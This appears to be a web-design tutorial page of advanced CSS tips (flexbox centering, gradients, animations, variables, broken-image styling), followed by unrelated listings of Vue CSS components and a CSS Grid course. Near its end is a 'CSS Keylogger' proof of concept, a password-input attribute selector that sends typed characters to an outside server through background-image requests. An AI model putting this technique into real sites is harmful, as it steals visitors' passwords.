Top Advanced CSS Tips and Techniques to Master your Web Design

Top Advanced CSS Tips and Techniques to Master your Web Design

This article is a compilation of fresh, advanced CSS tips and techniques to master your web design and front-end web development skills. Each technique features sample code snippet, demo, and explanations.

This article is a compilation of fresh, advanced CSS tips and techniques to master your web design and front-end web development skills. Each technique features sample code snippet, demo, and explanations.

Vertically Align With Flexbox

Centering a text or element vertically has always been quite a pain for many front-end developers. Introduced in the CSS3 specification, the display: flex property/value provides an easy way to vertically align any element.

Consider the following HTML:

<div class="align-vertically">
  I am vertically centered!
</div>

And the related CSS:

.align-vertically {
  background: #13b5ea;
  color: #fff;
  display: flex;
  align-items: center;
  height: 200px;
}

display: flex specifies a Flexbox layout for the element, and align-items: center takes care of the vertical centering. Click here to view a demo of this technique.

Using SVG for Icons and Logos

SVG is supported by all modern browsers and scales well for all resolution types, so there’s no reason to continue using .jpg or .gif images for logos or icons.

The code below represents the CSS code used to display a website logo:

#logo {
  display: block;
  text-indent: -9999px;
  width: 100px;
  height: 82px;
  background: url(logo.svg);
  background-size: 100px 82px;
}

Note the use of the background-size property, which is used to scale the background image to fit the container size.

Curve Text Around a Floating Image

shape-outside is a CSS property that allows geometric shapes to be set, in order to define an area for text to flow around.

.shape {
  width: 300px;
  float: left;
  shape-outside: circle(50%);
}

Here’s the result of the .shape class applied to the image:

Smooth Color Change On :hover

The transition property allows front-end web developers to create smooth and visually appealing hover effects on links or any other element.

Let’s have a look to a basic CSS transition to make links or any other element look better. This smooth color change is used on CatsWhoCode’s links.

a {
 color: #1b80b7;
 transition: all .2s linear;
}

a:hover { color: #52bff2; }

This technique can be used to create much more advanced hover effects. Using transition, you can animate many properties (width, height, background, etc) of a given element.

For more advanced CSS transition examples, feel free to check our CSS transition guide.

Gradients and Gradient Text

A decade ago, the only way a web designer or web developer could create a gradient background was to use Photoshop to create an image, which was then displayed on a website using the background-image property.

Thanks to the CSS3 specification, it is now possible to create gradients in HTML/CSS, resulting in fewer resources, faster loading times and better user experience.

The following CSS is used to create a gradient which is applied to the document’s body:

body{
  background: linear-gradient(to right,#000,#0575e6);
  text-align: center;
}

The linear-gradient() function creates a linear gradient and defines it as the background image for body. The function takes 3 arguments: a direction or an angle, and 2 color stops.

Using CSS gradients and WebKit specific properties, it is possible to apply the gradient to a text:

h1{
  font-family: Arial;
  font-size: 50px;
  background: -webkit-gradient(linear, left top, left bottom, from(#eee), to(#333));
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}
CSS Animations

Since the release of the CSS3 specification, you can natively animate HTML elements in pure CSS. As of 2019, CSS animations are supported by all browsers.

@keyframes example {
  from {background-color: green;}
  to {background-color: yellow;}
}

div {
  width: 100px;
  height: 100px;
  background-color: green;
  animation-name: example;
  animation-duration: 4s;
}

As you can see, the code starts by @keyframes example: This creates an animation that can be applied to any HTML element.

On lines 10 and 11, you can spot the use of animation-name which specifies which animation to use, and animation-duration which defines for how long the animation should run. Once the animation is finished, the element changes back to its normal state.

For advanced CSS animations examples, I recommend this collection which features beautiful web design trends and various animation tips and tricks.

Style Broken Images

Broken images don’t look good on a website, but it can happen every now and then that an image is missing from the server and can’t be displayed.

Using some advanced CSS, it is possible to style broken images and provide custom error messages to your visitors.

img {
  font-family: 'Helvetica';
  font-weight: 300;
  line-height: 2;  
  text-align: center;
  width: 100%;
  height: auto;
  display: block;
  position: relative;
}

img:before { 
  content: "We're sorry, the image below is broken :(";
  display: block;
  margin-bottom: 10px;
}

img:after { 
  content: "(url: " attr(src) ")";
  display: block;
  font-size: 12px;
}

This example makes use of the :before and :after pseudo-classes, which are used to display error messages to the end user.

The attr() CSS function is used to return the value of the src property, thus displaying the faulty url.

Truncate Strings in CSS

Web designers and front-end web developers often encounter this common problem: A text is too big for its container. Using CSS, this problem can easily be fixed.

Let’s have a look at the following CSS class, created by web designer Chris Coyier:

.truncate {
  width: 250px;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}

The class defines a fixed width and prevents the text from overflowing the container. On line 5, text-overflow: ellipsis; automatically adds ellipsis at the end of the text in order to indicate that it has been truncated.

CSS Variables

A strong point of CSS preprocessors is the possibility of using variables to create re-usable values and avoid code redundancy.

While tools like SASS are very useful for front-end web development, they aren’t required for using variables, as this can be done in native CSS.

Consider the CSS below:

:root {
  --main-bg-color: coral;
  --main-txt-color: #fff; 
  --main-padding: 15px; 
}

#div1 {
  background-color: var(--main-bg-color);
  color: var(--main-txt-color);
  padding: var(--main-padding);
}

Variables are declared by giving them a name preceded by two dashes. In this example, the main color, main background color, and base padding are declared.

Full Height Containers

vh is a little known unit that can be used in CSS. 1 vh represents 1% of the viewport height, regardless of the screen size.

Using this unit, it is easy to create full-height containers:

.fullheight { height: 100vh; }

As 1 vh stands for 1% of the viewport height, the code above defines a container that will take 100% of the vertical height of the screen.

A similar unit called vw is used for creating full-width containers.

Smart Quotes in HTML/CSS

Smart quotes are an integral part of beautiful typography and modern web design, as they provide readability and better user experience.

Using the HTML `` tag (Which defines a short quotation) and some CSS, it is easy to force the browser to display the short quotation within smart quotes:

q {
    quotes: "“" "”";
}
Comma-Separated Lists

Bullet point lists are very widely used online, as they provide a great way to display information in a clear and concise manner.

The following CSS snippet will add comas on every item of an unordered list, except for the last one. This is achieved by using :not(:last-child) to ensure that a comma will be applied to all items but the last one.

ul > li:not(:last-child)::after {
  content: ",";
}
CSS Keylogger

This is totally scary and not something you should ever try except as a proof of concept. Let’s have a look at the following code: Using CSS attribute selectors, it’s possible to request resources from an external server under the premise of loading a background image.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

The code above will select all user inputs with a type that equals password and value that ends with a.

It will then try to load an image from http://localhost:3000/a. Using this technique and some JavaScript, it is possible to capture user input.

Thank you for reading!

Css Tutorial for Beginners - Zero to Hero with Css

Css Tutorial for Beginners - Zero to Hero with Css

Css Tutorial for Beginners - Zero to Hero with Css

7 Best Vue CSS Component for Your App

7 Best Vue CSS Component for Your App

Vue CSS frameworks are great for many reasons; code is more universally understood, web applications are easier to maintain, and prototyping becomes less of an extra step.

Vue CSS frameworks are great for many reasons; code is more universally understood, web applications are easier to maintain, and prototyping becomes less of an extra step and more part of the development process.

1. Tailwindcss-Vue

Tailwindcss-Vue is a library of UI components for Vue.js built using the Tailwind CSS utility-first CSS framework.

Download: https://github.com/advanced-data-machines/tailwindcss-vue/archive/master.zip

2. @zeit-ui/vue

Vue implementation for Zeit Style, originating from Zeit Design.

@zeit-ui/vue is a Vue implementation for zeit style, originating from Zeit Design. Lean more at GITHUB.

The design of the Zeit is concise and aesthetic feeling, this is an important reason for popular of Zeit. Now you can use them through the @zeit-ui/vue.

Download: https://github.com/zeit-ui/vue/archive/master.zip

3. CSSeffectsSnippets

Click on the animation to copy it to your clipboard

Demo: https://emilkowalski.github.io/css-effects-snippets/

Download: https://github.com/emilkowalski/css-effects-snippets/archive/master.zip

4. Vue Cirrus

A fully responsive and comprehensive CSS framework with beautiful controls and simplistic structure. Cirrus is designed to be adaptable to existing themes or when starting fresh. These are the Vue Components for this CSS framework.

Demo: https://florianwoelki.github.io/vue-cirrus/#/

Download: https://github.com/FlorianWoelki/vue-cirrus/archive/master.zip

5. Vue CSS Modules

Seamless mapping of class names to CSS modules inside of Vue components.

Download: https://github.com/fjc0k/vue-css-modules/archive/master.zip

6. BG MixMaster 90 — CSS Background Grid /Pattern Generator

make a background grid (like graph paper) using only one background gradient property and ended up with this killer mix tape for making all kinds of background grids and patterns.

Download: https://codepen.io/jasesmith/pen/YZEYRL

7. CSSOBJ

CSS Rules from JS, change rules dynamically, CSSOM, css modules, auto vendor prefixer, media query for old browsers.

CSS in JS solution, create CSSOM and CSS rules from js, features:

  • CSS Rules create and diff
  • CSS modules with local class
  • Auto vendor prefixer
  • Media query for old browsers
  • Dynamically change CSS

Demo: https://cssobj.github.io/cssobj-demo/

Download: https://github.com/cssobj/cssobj/archive/master.zip

CSS Grid Tutorial - CSS Grid Crash Course

CSS Grid Tutorial - CSS Grid Crash Course

In this post we are going to take a look at CSS grid. We can use css grid to structure and position our websites with ease.

I am going to cover all the basics of css grid and at the end of the video we are also going to take a look on how we can create a responsive image gallery only using a few lines of css code.

📕 Things covered in this video:

  • How to work with css grid.
  • Grid template columns and rows
  • Grid template areas
  • Aligning items
  • Creating an image gallery